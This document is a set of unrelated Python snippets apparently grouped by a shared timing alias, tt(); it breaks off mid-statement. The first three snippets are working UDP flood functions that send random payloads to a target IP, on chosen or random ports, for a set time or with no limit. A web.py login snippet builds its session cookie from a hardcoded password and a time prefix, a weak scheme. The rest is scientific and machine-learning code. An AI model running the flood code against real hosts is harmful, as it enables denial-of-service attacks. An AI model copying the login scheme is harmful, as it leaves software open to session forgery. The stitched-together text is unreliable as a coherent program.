def attack(ip, port, time, size): if time is None: time = float('inf') if port is not None: port = max(1, min(65535, port)) fmr = '' fmt = ''.format( ip=ip, port='PORT {port}'.format(port=port) if port else 'RANDOM PORTS', time='{time} SECONDS'.format( time=time) if str(time).isdigit() else 'UNLIMITED TIME', size=size) print(fmt) startup = tt() size = os.urandom(min(65500, size)) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) while True: port = port or random.randint(1, 65535) endtime = tt() if (startup + time) < endtime: break sock.sendto(size, (ip, port)) print(' ATTACK FINISHED')
def attack(ip, port, time, size): if time is None: time = float('inf') if port is not None: port = max(1, min(65535, port)) fmt = 'Attacking {ip} on {port} for {time} with a size of {size} bytes.'.format( ip=ip, port='port {port}'.format(port=port) if port else 'random ports', time='{time} seconds'.format( time=time) if str(time).isdigit() else 'unlimited time', size=size) print(fmt) startup = tt() size = os.urandom(min(65500, size)) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) while True: port = port or random.randint(1, 65535) endtime = tt() if (startup + time) < endtime: break sock.sendto(size, (ip, port)) print('Attack finished.')
def attack(argss): timeout = tt() + argss.time sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) while True: if tt() > timeout: sys.exit('Exiting...') bytess = random._urandom(2048) sock.sendto(bytess, (argss.target, argss.port)) print "bytes sended"
def setup(): global controller, update_time, timmer, qframe, qtimmer, is_started, FPS print "SETUP------------------------" FPS = 30 controller = None update_time = 1.0 / FPS timmer = tt() qframe = 0 qtimmer = tt() is_started = True
def applymetric(self, traf, sim): time1 = tt() sim.pause() self.doubleconflict = 0 ##relative pos x and pos y self.step = self.step + 1 self.pos = np.array([]) self.lat = np.array([]) self.lon = np.array([]) self.id = [] self.alt_dif = 0 traf_selected_lat, traf_selected_lon, traf_selected_alt, traf_selected_tas, traf_selected_trk, traf_selected_ntraf = self.selectTraffic( traf) [self.rel_trk, self.pos] = qdrdist_vector(self.initiallat, self.initiallon, np.mat(traf_selected_lat), np.mat(traf_selected_lon)) # self.lat = np.append(self.lat,traf.lat) # self.lon = np.append(self.lon,traf.lon) self.id = traf.id #Position x and y wrt to initial position self.pos = np.mat(self.pos) #TRUE??? anglex = np.cos(np.radians(90 - self.rel_trk)) angley = np.sin(np.radians(90 - self.rel_trk)) self.posx = np.mat(np.array(self.pos) * np.array(anglex)) #nm self.posy = np.mat(np.array(self.pos) * np.array(angley)) #nm self.lat = traf_selected_lat self.lon = traf_selected_lon self.alt = np.mat(traf_selected_alt / ft) self.spd = traf_selected_tas / nm #nm/s self.trk = traf_selected_trk self.ntraf = traf_selected_ntraf self.alt_dif = self.alt - self.alt.T #Vectors CPA_dist and CPA_time #self.rel_vectors() #self.apply_heading_range() self.apply_twoCircleMethod() #self.saveData() time2 = tt() print "Time to Complete Calculation: " print(time2 - time1) sim.play() return
def applymetric(self,traf,sim): time1 = tt() sim.pause() self.doubleconflict = 0 ##relative pos x and pos y self.step = self.step + 1 self.pos = np.array([]) self.lat = np.array([]) self.lon = np.array([]) self.id = [] self.alt_dif = 0 traf_selected_lat,traf_selected_lon,traf_selected_alt,traf_selected_tas,traf_selected_trk,traf_selected_ntraf = self.selectTraffic(traf) [self.rel_trk, self.pos] = qdrdist_vector(self.initiallat,self.initiallon,np.mat(traf_selected_lat),np.mat(traf_selected_lon)) # self.lat = np.append(self.lat,traf.lat) # self.lon = np.append(self.lon,traf.lon) self.id = traf.id #Position x and y wrt to initial position self.pos = np.mat(self.pos) #TRUE??? anglex = np.cos(np.radians(90-self.rel_trk)) angley = np.sin(np.radians(90-self.rel_trk)) self.posx = np.mat(np.array(self.pos) * np.array(anglex)) #nm self.posy = np.mat(np.array(self.pos) * np.array(angley)) #nm self.lat = traf_selected_lat self.lon = traf_selected_lon self.alt = np.mat(traf_selected_alt/ft) self.spd = traf_selected_tas/nm #nm/s self.trk = traf_selected_trk self.ntraf = traf_selected_ntraf self.alt_dif = self.alt-self.alt.T #Vectors CPA_dist and CPA_time #self.rel_vectors() #self.apply_heading_range() self.apply_twoCircleMethod() #self.saveData() time2 = tt() print "Time to Complete Calculation: " print (time2-time1) sim.play() return
def start_task(self, task = ''): """ When called, it initialise a new task, by storing the time at which it started and the description. Args: task = task description. """ self.t0 = tt() self.task = task print(f"Starting to work on: '{self.task}'")
def iterate_instances(self, item, rank, tt): count = 0 n_insert_frame = self.master_db_mgr.insert_frame for call_instance in item.finished_db_mgr.sequencer: print "INSTANCE=%d START RANK=%d TIME=%f" % (count, rank, tt()) if call_instance["call"] == "insert_frame": print "insert_frame=%d START RANK=%d TIME=%f" % (count, rank, tt()) frame_id_zero_base = n_insert_frame(**call_instance["data"]) print "insert_frame=%d STOP RANK=%d TIME=%f" % (count, rank, tt()) elif call_instance["call"] == "insert_observation": print "insert_observation=%d START RANK=%d TIME=%f" % ( count, rank, tt()) call_instance["data"]['frame_id_0_base'] = [ frame_id_zero_base ] * len(call_instance["data"]['frame_id_0_base']) self.master_db_mgr.insert_observation(**call_instance["data"]) print "insert_observation=%d STOP RANK=%d TIME=%f" % ( count, rank, tt()) count += 1
def main(args): with open(args.config) as f: config = yaml.load(f, Loader=yaml.FullLoader) # Dataset processing pt_cut = config["selection"]["pt_min"] train_number = config["selection"]["train_number"] test_number = config["selection"]["test_number"] load_dir = config["input_dir"] # Construct experiment name group = str(pt_cut) + "_pt_cut" if config["selection"]["endcaps"]: group += "_endcaps" print("Running experiment group", group, "on device", device) train_path = os.path.join(load_dir, group, str(train_number) + "_events_train") test_path = os.path.join(load_dir, group, str(test_number) + "_events_test") train_dataset = torch.load(train_path) test_dataset = torch.load(test_path) train_loader = DataLoader(train_dataset, batch_size=1, shuffle=True) test_loader = DataLoader(test_dataset, batch_size=1, shuffle=True) # Model config m_configs = config["model"] model = Embedding(**m_configs).to(device) # multi_loss = MultiNoiseLoss(n_losses=2).to(device) m_configs.update(config["training"]) m_configs.update(config["selection"]) wandb.init(project=config["project"], group=group, config=m_configs) wandb.run.save() print(wandb.run.name) model_name = wandb.run.name wandb.watch(model, log="all") # Optimizer & Scheduler config optimizer = torch.optim.AdamW( model.parameters(), lr=m_configs["lr"], weight_decay=m_configs["weight_decay"], amsgrad=True, ) scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau( optimizer, factor=m_configs["factor"], patience=m_configs["patience"]) print("Training on configs:", m_configs) # Training loop for epoch in range(m_configs["epochs"]): tic = tt() model.train() train_loss = train_connected_emb(model, train_loader, optimizer, m_configs) print("Training loss: {:.4f}".format(train_loss)) model.eval() with torch.no_grad(): cluster_pur, cluster_eff, val_loss = evaluate_connected_emb( model, test_loader, m_configs) wandb.log({ "val_loss": val_loss, "train_loss": train_loss, "cluster_pur": cluster_pur, "cluster_eff": cluster_eff, "lr": optimizer.param_groups[0]["lr"], }) scheduler.step(val_loss) save_model_from_script( epoch, model, optimizer, scheduler, val_loss, m_configs, "Embedding/" + model_name + ".tar", ) print( "Epoch: {}, Eff: {:.4f}, Pur: {:.4f}, Loss: {:.4f}, LR: {} in time {}" .format( epoch, cluster_eff, cluster_pur, val_loss, optimizer.param_groups[0]["lr"], tt() - tic, ))
n_reflections=n_refl, overall_correlation=corr) easy_pickle.dump("%s.pkl" % work_params.output.prefix, result) return result if (__name__ == "__main__"): from mpi4py import MPI comm = MPI.COMM_WORLD rank = comm.Get_rank() size = comm.Get_size() from time import time as tt # set things up if rank == 0: print "SETUP START RANK=%d TIME=%f" % (rank, tt()) run = run_manager() run.initialize(args=sys.argv[1:]) scaler_master = scaling_manager_mpi(miller_set=run.miller_set, i_model=run.i_model, params=run.work_params, log=run.out) scaler_master.mpi_initialize(run.frame_files) transmitted_info = dict(file_names=run.frame_files, miller_set=run.miller_set, model=run.i_model, params=run.work_params) print "SETUP END RANK=%d TIME=%f" % (rank, tt()) else: print "SETUP START RANK=%d TIME=%f" % (rank, tt())
if label != 0.0: raw_tweets.append(row[1]) labels.append(1 if label > 0.0 else -1) # ====================== # collect the tweets print 'Collecting the tweets...' raw_tweets = [] labels = [] collect_tweets('hillary', raw_tweets, labels) collect_tweets('trump', raw_tweets, labels) # clean the tweets t = tt() print 'Cleaning the tweets...' cleaned_tweets = batch_get_legit_tokens(raw_tweets) # extract features print 'Extracting the features...' create_features(get_all_words(cleaned_tweets)) assert len(cleaned_tweets) == len(labels) print 'Constructing training set...' training_set = nltk.classify.apply_features(extract_features,zip(cleaned_tweets,labels)) # train model
def predict_probabilities(features, classifier_path, behaviors=[], VERBOSE=True): ''' This predicts behavior labels on a video, given a classifier and features.''' if not behaviors: behaviors = ['closeinvestigation', 'mount', 'attack'] # scaler = joblib.load(classifier_path + '/scaler') # # Scale the data appropriately. # print("transforming features") # X_test = scaler.transform(features) models = [ os.path.join(classifier_path, filename) for filename in os.listdir(classifier_path) ] behaviors_used = [] preds_fbs_hmm = [] proba_fbs_hmm = [] for b, behavior in enumerate(behaviors): # For each behavior, load the model, load in the data (if needed), and predict on it. print('############################## %s #########################' % behavior) # Get all the models that model the given behavior. models_with_this_behavior = filter( lambda x: x.find('classifier_' + behavior + '.pkl') > -1, models) # pdb.set_trace() # If there are models for this behavior, load the most recently trained one. if models_with_this_behavior: # create a dict that contains list of files and their modification timestamps name_n_timestamp = dict([(x, os.stat(x).st_mtime) for x in models_with_this_behavior]) # return the file with the latest timestamp name_classifier = max(name_n_timestamp, key=lambda k: name_n_timestamp.get(k)) classifier = joblib.load(name_classifier) scaler = classifier['scaler'] bag_clf = classifier['bag_clf'] if 'bag_clf' in classifier.keys( ) else classifier['clf'] hmm_fbs = classifier['hmm_fbs'] kn = classifier['params']['smk_kn'] blur_steps = classifier['params']['blur'] shift = classifier['params']['shift'] # Keep track of which behaviors get used. behaviors_used += [behavior] else: print( 'Classifier not found, you need to train a classifier for this behavior before using it' ) print( 'Classification will continue without classifying this behavior' ) continue # apply the scaler. if VERBOSE: tstart = tt() print("Transforming features...") X_test = scaler.transform(features) # Do the actual prediction. if VERBOSE: print("Predicting...") predicted_probabilities = bag_clf.predict_proba(X_test) predicted_class = np.argmax(predicted_probabilities, axis=1) # if VERBOSE: # secs_elapsed = (tt() - tstart) # print("Classifier prediction took %.2f secs" % secs_elapsed) # # print("Doing Forward-Backward Smoothing...") # tstart = tt() # Do our forward-backward smoothing y_pred_fbs = do_fbs(y_pred_class=predicted_class, kn=kn, blur=4, blur_steps=blur_steps, shift=shift) # TODO: Blur is unused argument --just get rid of it? # Do the hmm prediction. y_proba_fbs_hmm = hmm_fbs.predict_proba(y_pred_fbs.reshape((-1, 1))) y_pred_fbs_hmm = np.argmax(y_proba_fbs_hmm, axis=1) # Add our predictions to the list. preds_fbs_hmm.append(y_pred_fbs_hmm) proba_fbs_hmm.append(y_proba_fbs_hmm) if VERBOSE: secs_elapsed = (tt() - tstart) print("Classifier prediction took %.2f secs" % secs_elapsed) # Change the list of [1x(numFrames)]-predictions to an np.array by stacking them vertically. preds_fbs_hmm = np.vstack(preds_fbs_hmm) # Flip it over so that it's stored as a [(numFrames)x(numBehaviors)] array all_predictions = preds_fbs_hmm.T # Change [(behavior)x(frames)x(positive/neg)] => [(frames) x (behaviors) x (pos/neg)] all_predicted_probabilities = np.array(proba_fbs_hmm).transpose(1, 0, 2) # pdb.set_trace() return all_predicted_probabilities, behaviors_used
def run(self, comm, timing=False): rank = comm.Get_rank() size = comm.Get_size() from time import time as tt # set things up if rank == 0: if timing: print("SETUP START RANK=%d TIME=%f" % (rank, tt())) self.initialize() self.validate() self.read_models() scaler_master = self.scaler_class(miller_set=self.miller_set, i_model=self.i_model, params=self.params, log=self.out) scaler_master.mpi_initialize(self.frame_files) transmitted_info = dict(file_names=self.frame_files, miller_set=self.miller_set, model=self.i_model, params=self.params) if timing: print("SETUP END RANK=%d TIME=%f" % (rank, tt())) else: if timing: print("SETUP START RANK=%d TIME=%f" % (rank, tt())) transmitted_info = None if timing: print("SETUP END RANK=%d TIME=%f" % (rank, tt())) if timing: print("BROADCAST START RANK=%d TIME=%f" % (rank, tt())) transmitted_info = comm.bcast(transmitted_info, root=0) if timing: print("BROADCAST END RANK=%d TIME=%f" % (rank, tt())) # now actually do the work if timing: print("SCALER_WORKER_SETUP START RANK=%d TIME=%f" % (rank, tt())) scaler_worker = self.scaler_class(transmitted_info["miller_set"], transmitted_info["model"], transmitted_info["params"], log=sys.stdout) if timing: print("SCALER_WORKER_SETUP END RANK=%d TIME=%f" % (rank, tt())) assert scaler_worker.params.backend == 'FS' # only option that makes sense from xfel.merging.database.merging_database_fs import manager2 as manager db_mgr = manager(scaler_worker.params) file_names = [ transmitted_info["file_names"][i] for i in range(len(transmitted_info["file_names"])) if i % size == rank ] if timing: print("SCALER_WORKERS START RANK=%d TIME=%f" % (rank, tt())) scaler_worker._scale_all_serial(file_names, db_mgr) if timing: print("SCALER_WORKERS END RANK=%d TIME=%f" % (rank, tt())) scaler_worker.finished_db_mgr = db_mgr # might want to clean up a bit before returning del scaler_worker.log del scaler_worker.params del scaler_worker.miller_set del scaler_worker.i_model del scaler_worker.reverse_lookup # gather reports and all add together if timing: print("GATHER START RANK=%d TIME=%f" % (rank, tt())) reports = comm.gather(scaler_worker, root=0) if timing: print("GATHER END RANK=%d TIME=%f" % (rank, tt())) if rank == 0: print("Processing reports from %d ranks" % (len(reports))) ireport = 0 for item in reports: if timing: print("SCALER_MASTER_ADD START RANK=%d TIME=%f" % (rank, tt())) scaler_master._add_all_frames(item) if timing: print("SCALER_MASTER_ADD END RANK=%d TIME=%f" % (rank, tt())) print("processing %d calls from report %d" % (len(item.finished_db_mgr.sequencer), ireport)) ireport += 1 for call_instance in item.finished_db_mgr.sequencer: if call_instance["call"] == "insert_frame": if timing: print( "SCALER_MASTER_INSERT_FRAME START RANK=%d TIME=%f" % (rank, tt())) frame_id_zero_base = scaler_master.master_db_mgr.insert_frame( **call_instance["data"]) if timing: print( "SCALER_MASTER_INSERT_FRAME END RANK=%d TIME=%f" % (rank, tt())) elif call_instance["call"] == "insert_observation": if timing: print( "SCALER_MASTER_INSERT_OBS START RANK=%d TIME=%f" % (rank, tt())) call_instance["data"]['frame_id_0_base'] = [ frame_id_zero_base ] * len(call_instance["data"]['frame_id_0_base']) scaler_master.master_db_mgr.insert_observation( **call_instance["data"]) if timing: print( "SCALER_MASTER_INSERT_OBS END RANK=%d TIME=%f" % (rank, tt())) if timing: print("SCALER_MASTER_FINALISE START RANK=%d TIME=%f" % (rank, tt())) scaler_master.master_db_mgr.join( ) # database written, finalize the manager scaler_master.mpi_finalize() if timing: print("SCALER_MASTER_FINALISE END RANK=%d TIME=%f" % (rank, tt())) return self.finalize(scaler_master)
def run(self, comm, timing=False): rank = comm.Get_rank() size = comm.Get_size() from time import time as tt # set things up if rank == 0: self.initialize() self.validate(comm) self.read_models() timing = self.params.mpi.logging if timing: print "~SETUP START RANK=%d TIME=%f;" % (rank, tt()) scaler_master = self.scaler_class(miller_set=self.miller_set, i_model=self.i_model, params=self.params, log=self.out) scaler_master.mpi_initialize(self.frame_files) transmitted_info = dict(file_names=self.frame_files, miller_set=self.miller_set, model=self.i_model, params=self.params) if timing: print "~SETUP END RANK=%d TIME=%f;" % (rank, tt()) else: if timing: print "~SETUP START RANK=%d TIME=%f;" % (rank, tt()) transmitted_info = None if timing: print "~SETUP END RANK=%d TIME=%f;" % (rank, tt()) if timing: print "~BROADCAST START RANK=%d TIME=%f;" % (rank, tt()) transmitted_info = comm.bcast(transmitted_info, root=0) if timing: print "~BROADCAST END RANK=%d TIME=%f;" % (rank, tt()) # now actually do the work if timing: print "~SCALER_WORKER_SETUP START RANK=%d TIME=%f;" % (rank, tt()) scaler_worker = self.scaler_class(transmitted_info["miller_set"], transmitted_info["model"], transmitted_info["params"], log=sys.stdout) if timing: print "~SCALER_WORKER_SETUP END RANK=%d TIME=%f;" % (rank, tt()) assert scaler_worker.params.backend == 'FS' # only option that makes sense from xfel.merging.database.merging_database_fs import manager2 as manager db_mgr = manager(scaler_worker.params) # Use client-server distribution of work to the available MPI ranks. # Each free rank requests a TAR ID and proceeds to process it. if scaler_worker.params.mpi.cs == True: tar_file_names = transmitted_info["file_names"] if timing: print "~SCALER_WORKERS START RANK=%d TIME=%f;" % (rank, tt()) if rank == 0: for ix in range(len(tar_file_names)): rankreq = comm.recv(source=MPI.ANY_SOURCE) comm.send(ix, dest=rankreq) for rankreq in range(size - 1): rankreq = comm.recv(source=MPI.ANY_SOURCE) comm.send('endrun', dest=rankreq) scaler_worker.finished_db_mgr = db_mgr else: while True: comm.send(rank, dest=0) idx = comm.recv(source=0) if idx == 'endrun': scaler_worker.finished_db_mgr = db_mgr break if timing: print "~SCALER_WORKER START=%d RANK=%d TIME=%f;" % ( idx, rank, tt()) scaler_worker._scale_all_serial([ tar_file_names[idx], ], db_mgr) if timing: print "~SCALER_WORKER END=%d RANK=%d TIME=%f;" % ( idx, rank, tt()) if timing: print "~SCALER_WORKERS END RANK=%d TIME=%f;" % (rank, tt()) # Distribute chunks of TAR files to each MPI rank. # The files are equidistributed across all the available ranks. else: file_names = [ transmitted_info["file_names"][i] for i in range(len(transmitted_info["file_names"])) if i % size == rank ] if timing: print "SCALER_WORKERS START RANK=%d TIME=%f" % (rank, tt()) scaler_worker._scale_all_serial(file_names, db_mgr) if timing: print "SCALER_WORKERS END RANK=%d TIME=%f" % (rank, tt()) scaler_worker.finished_db_mgr = db_mgr # might want to clean up a bit before returning del scaler_worker.log del scaler_worker.params del scaler_worker.miller_set del scaler_worker.i_model del scaler_worker.reverse_lookup # gather reports and all add together if timing: print "~GATHER START RANK=%d TIME=%f;" % (rank, tt()) reports = comm.gather(scaler_worker, root=0) if timing: print "~GATHER END RANK=%d TIME=%f;" % (rank, tt()) if rank == 0: print "Processing reports from %d ranks" % (len(reports)) ireport = 0 for item in reports: if timing: print "~SCALER_MASTER_ADD START RANK=%d TIME=%f;" % (rank, tt()) scaler_master._add_all_frames(item) if timing: print "~SCALER_MASTER_ADD END RANK=%d TIME=%f;" % (rank, tt()) print "processing %d calls from report %d" % (len( item.finished_db_mgr.sequencer), ireport) ireport += 1 for call_instance in item.finished_db_mgr.sequencer: if call_instance["call"] == "insert_frame": if timing: print "~SCALER_MASTER_INSERT_FRAME START RANK=%d TIME=%f;" % ( rank, tt()) frame_id_zero_base = scaler_master.master_db_mgr.insert_frame( **call_instance["data"]) if timing: print "~SCALER_MASTER_INSERT_FRAME END RANK=%d TIME=%f;" % ( rank, tt()) elif call_instance["call"] == "insert_observation": if timing: print "~SCALER_MASTER_INSERT_OBS START RANK=%d TIME=%f;" % ( rank, tt()) call_instance["data"]['frame_id_0_base'] = [ frame_id_zero_base ] * len(call_instance["data"]['frame_id_0_base']) scaler_master.master_db_mgr.insert_observation( **call_instance["data"]) if timing: print "~SCALER_MASTER_INSERT_OBS END RANK=%d TIME=%f;" % ( rank, tt()) if timing: print "~SCALER_MASTER_FINALISE START RANK=%d TIME=%f;" % (rank, tt()) scaler_master.master_db_mgr.join( ) # database written, finalize the manager scaler_master.mpi_finalize() if timing: print "~SCALER_MASTER_FINALISE END RANK=%d TIME=%f;" % (rank, tt()) return self.finalize(scaler_master)
def mpi_merge_op(data0, data1, datatype): data0.n_accepted += data1.n_accepted data0.n_file_error += data1.n_file_error data0.n_low_corr += data1.n_low_corr data0.n_low_signal += data1.n_low_signal data0.n_processed += data1.n_processed data0.n_wrong_bravais += data1.n_wrong_bravais data0.n_wrong_cell += data1.n_wrong_cell data0.completeness += data1.completeness data0.completeness_predictions += data1.completeness_predictions data0.summed_N += data1.summed_N data0.summed_weight += data1.summed_weight data0.summed_wt_I += data1.summed_wt_I print "CORR_EXTEND START RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) data0.corr_values.extend(data1.corr_values) print "CORR_EXTEND END RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) print "DMIN_EXTEND START RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) data0.d_min_values.extend(data1.d_min_values) print "DMIN_EXTEND END RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) print "REJFRAC_EXTEND START RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) data0.rejected_fractions.extend(data1.rejected_fractions) print "REJFRAC_EXTEND END RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) print "WAVELENGTH_EXTEND START RANK=%d:%d TIME=%f;" % ( data0.myRank, data1.myRank, tt()) data0.wavelength.extend(data1.wavelength) print "WAVELENGTH_EXTEND END RANK=%d:%d TIME=%f;" % ( data0.myRank, data1.myRank, tt()) print "UCVAL_ADDCELLS START RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) data0.uc_values.add_cells(data1.uc_values) print "UCVAL_ADDCELLS END RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) print "DICT_MERGE START RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) data0.failure_modes = { k: data0.failure_modes.get(k, 0) + data1.failure_modes.get(k, 0) for k in set(data0.failure_modes.keys()) | set(data1.failure_modes.keys()) } print "DICT_MERGE END RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) print "ISIGI_CID START RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) next_crystal_id = len(data0.crystal_table) data1.ISIGI['crystal_id'] += next_crystal_id print "ISIGI_CID END RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) print "ISIGI_EXTEND START RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) data0.ISIGI.extend(data1.ISIGI) print "ISIGI_EXTEND END RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) print "CTABLE_EXTEND START RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) data0.crystal_table.extend(data1.crystal_table) print "CTABLE_EXTEND END RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) print "SEQ_ADD START RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) data0.finished_db_mgr.sequencer += data1.finished_db_mgr.sequencer print "SEQ_ADD END RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) if not data0.params.short_circuit: print "OBS_EXTEND START RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) data0.observations.extend(data1.observations) print "OBS_EXTEND END RANK=%d:%d TIME=%f;" % (data0.myRank, data1.myRank, tt()) return data0
def run(self, comm, timing=True): from mpi4py import MPI rank = comm.Get_rank() size = comm.Get_size() merge_op = MPI.Op.Create(self.mpi_merge_op, commute=True) # set things up if rank == 0: if timing: print "SETUP START RANK=%d TIME=%f" % (rank, tt()) self.initialize() self.validate() self.read_models() scaler_master = self.scaler_class(miller_set=self.miller_set, i_model=self.i_model, params=self.params, log=self.out) scaler_master.mpi_initialize(self.frame_files) transmitted_info = dict(file_names=self.frame_files, miller_set=self.miller_set, model=self.i_model, params=self.params) if timing: print "SETUP END RANK=%d TIME=%f" % (rank, tt()) else: if timing: print "SETUP START RANK=%d TIME=%f" % (rank, tt()) transmitted_info = None if timing: print "SETUP END RANK=%d TIME=%f" % (rank, tt()) if timing: print "BROADCAST START RANK=%d TIME=%f" % (rank, tt()) transmitted_info = comm.bcast(transmitted_info, root=0) if timing: print "BROADCAST END RANK=%d TIME=%f" % (rank, tt()) # now actually do the work if timing: print "SCALER_WORKER_SETUP START RANK=%d TIME=%f" % (rank, tt()) scaler_worker = self.scaler_class(transmitted_info["miller_set"], transmitted_info["model"], transmitted_info["params"], log=sys.stdout) if timing: print "SCALER_WORKER_SETUP END RANK=%d TIME=%f" % (rank, tt()) assert scaler_worker.params.backend == 'FS' # only option that makes sense from xfel.merging.database.merging_database_fs import manager2 as manager db_mgr = manager(scaler_worker.params) tar_file_names = transmitted_info["file_names"] if timing: print "SCALER_WORKERS START RANK=%d TIME=%f" % (rank, tt()) if rank == 0: for ix in range(len(tar_file_names)): if timing: print "SCALER_WORKER_RECV START=%d RANK=%d TIME=%f" % ( ix, rank, tt()) rankreq = comm.recv(source=MPI.ANY_SOURCE) if timing: print "SCALER_WORKER_RECV START=%d RANK=%d TIME=%f" % ( ix, rank, tt()) if timing: print "SCALER_WORKER_SEND START=%d RANK=%d,%d TIME=%f" % ( ix, rank, rankreq, tt()) comm.send(ix, dest=rankreq) if timing: print "SCALER_WORKER_SEND END=%d RANK=%d,%d TIME=%f" % ( ix, rank, rankreq, tt()) for rankreq in range(size - 1): if timing: print "SCALER_WORKER_RECV_KILL START RANK=%d TIME=%f" % ( rank, tt()) rankreq = comm.recv(source=MPI.ANY_SOURCE) if timing: print "SCALER_WORKER_RECV_KILL END RANK=%d TIME=%f" % ( rank, tt()) if timing: print "SCALER_WORKER_SEND_KILL START RANK=%d,%d TIME=%f" % ( rank, rankreq, tt()) comm.send('endrun', dest=rankreq) if timing: print "SCALER_WORKER_SEND_KILL END RANK=%d,%d TIME=%f" % ( rank, rankreq, tt()) scaler_worker.finished_db_mgr = db_mgr else: while True: if timing: print "SCALER_WORKER_RANKSEND START RANK=%d TIME=%f" % ( rank, tt()) comm.send(rank, dest=0) if timing: print "SCALER_WORKER_RANKSEND END RANK=%d TIME=%f" % (rank, tt()) if timing: print "SCALER_WORKER_IDXRECV START RANK=%d TIME=%f" % ( rank, tt()) idx = comm.recv(source=0) if timing: print "SCALER_WORKER_IDXRECV END RANK=%d TIME=%f" % (rank, tt()) if idx == 'endrun': scaler_worker.finished_db_mgr = db_mgr break if timing: print "SCALER_WORKER START=%s RANK=%d TIME=%f" % (str( tar_file_names[idx]), rank, tt()) scaler_worker._scale_all_serial([ tar_file_names[idx], ], db_mgr) if timing: print "SCALER_WORKER END=%s RANK=%d TIME=%f" % (str( tar_file_names[idx]), rank, tt()) if timing: print "SCALER_WORKERS END RANK=%d TIME=%f" % (rank, tt()) # might want to clean up a bit before returning del scaler_worker.log #del scaler_worker.params del scaler_worker.miller_set del scaler_worker.i_model del scaler_worker.reverse_lookup scaler_worker.myRank = rank if timing: print "SCALER_WORKERS_REDUCE START RANK=%d TIME=%f" % (rank, tt()) scaler_workers = comm.reduce(scaler_worker, op=merge_op, root=0) if timing: print "SCALER_WORKERS_REDUCE END RANK=%d TIME=%f" % (rank, tt()) MPI.Finalize() if rank == 0: if timing: print "SCALER_MASTER_ADD START RANK=%d TIME=%f" % (rank, tt()) scaler_master._add_all_frames(scaler_workers) if timing: print "SCALER_MASTER_ADD END RANK=%d TIME=%f" % (rank, tt()) for call_instance in scaler_workers.finished_db_mgr.sequencer: if call_instance["call"] == "insert_frame": if timing: print "SCALER_MASTER_INSERT_FRAME START RANK=%d TIME=%f" % ( rank, tt()) frame_id_zero_base = scaler_master.master_db_mgr.insert_frame( **call_instance["data"]) if timing: print "SCALER_MASTER_INSERT_FRAME END RANK=%d TIME=%f" % ( rank, tt()) elif call_instance["call"] == "insert_observation": if timing: print "SCALER_MASTER_INSERT_OBS START RANK=%d TIME=%f" % ( rank, tt()) call_instance["data"]['frame_id_0_base'] = [ frame_id_zero_base ] * len(call_instance["data"]['frame_id_0_base']) scaler_master.master_db_mgr.insert_observation( **call_instance["data"]) if timing: print "SCALER_MASTER_INSERT_OBS END RANK=%d TIME=%f" % ( rank, tt()) if timing: print "SCALER_MASTER_FINALISE START RANK=%d TIME=%f" % (rank, tt()) scaler_master.master_db_mgr.join( ) # database written, finalize the manager scaler_master.mpi_finalize() if timing: print "SCALER_MASTER_FINALISE END RANK=%d TIME=%f" % (rank, tt()) return self.finalize(scaler_master)
def wrap(*args): pas = '******' + sha('lenovo').hexdigest() + str(tt())[:6] if web.cookies().get('pas') != sha(pas).hexdigest(): raise web.seeother("/login") else: return func(*args)
def POST(self): d = web.input() pas = d.username + sha(d.password).hexdigest() + str(tt())[:6] web.setcookie('pas', sha(pas).hexdigest(), 30000) web.seeother("./")
def main(args): with open(args.config) as f: config = yaml.load(f, Loader=yaml.FullLoader) # Dataset processing pt_cut = config["selection"]["pt_min"] train_number = config["selection"]["train_number"] test_number = config["selection"]["test_number"] load_dir = config["input_dir"] model_dir = config["model_dir"] # Construct experiment name group = str(pt_cut) + "pt_cut" if endcaps: group += "_endcaps" print("Running experiment group:", group) train_path = os.path.join(load_dir, group, str(train_number) + "_events_train") test_path = os.path.join(load_dir, group, str(test_number) + "_events_test") train_dataset = torch.load(train_path) test_dataset = torch.load(test_path) train_loader = DataLoader(train_dataset, batch_size=1, shuffle=True) test_loader = DataLoader(test_dataset, batch_size=1, shuffle=True) # Model config m_configs = config["model"] model = EmbeddingToAGNN(**m_configs).to(device) # multi_loss = MultiNoiseLoss(n_losses=2).to(device) m_configs.update(config["training"]) m_configs.update(config["selection"]) wandb.init(group=group, config=m_configs) wandb.run.save() print(wandb.run.name) model_name = wandb.run.name wandb.watch(model, log="all") # Optimizer config # optimizer = torch.optim.AdamW([ # {'params': model.emb_network.parameters()}, # {'params': chain(model.node_network.parameters(), model.edge_network.parameters(), model.input_network.parameters())}, # {'params': multi_loss.noise_params}], # lr = 0.001, weight_decay=1e-3, amsgrad=True) # Scheduler config # lambda1 = lambda ep: 1 / (args.lr_1**(ep//10)) # lambda2 = lambda ep: 1 / (args.lr_2**(ep//30)) # lambda3 = lambda ep: 1 / (args.lr_3**(ep//10)) # scheduler = torch.optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=[lambda1, lambda2, lambda3]) optimizer = torch.optim.AdamW( model.parameters(), lr=m_configs["lr"], weight_decay=m_configs["weight_decay"], amsgrad=True, ) scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau( optimizer, factor=m_configs["factor"], patience=m_configs["patience"]) # Training loop for epoch in range(30): tic = tt() model.train() if args.adjacent: edge_acc, 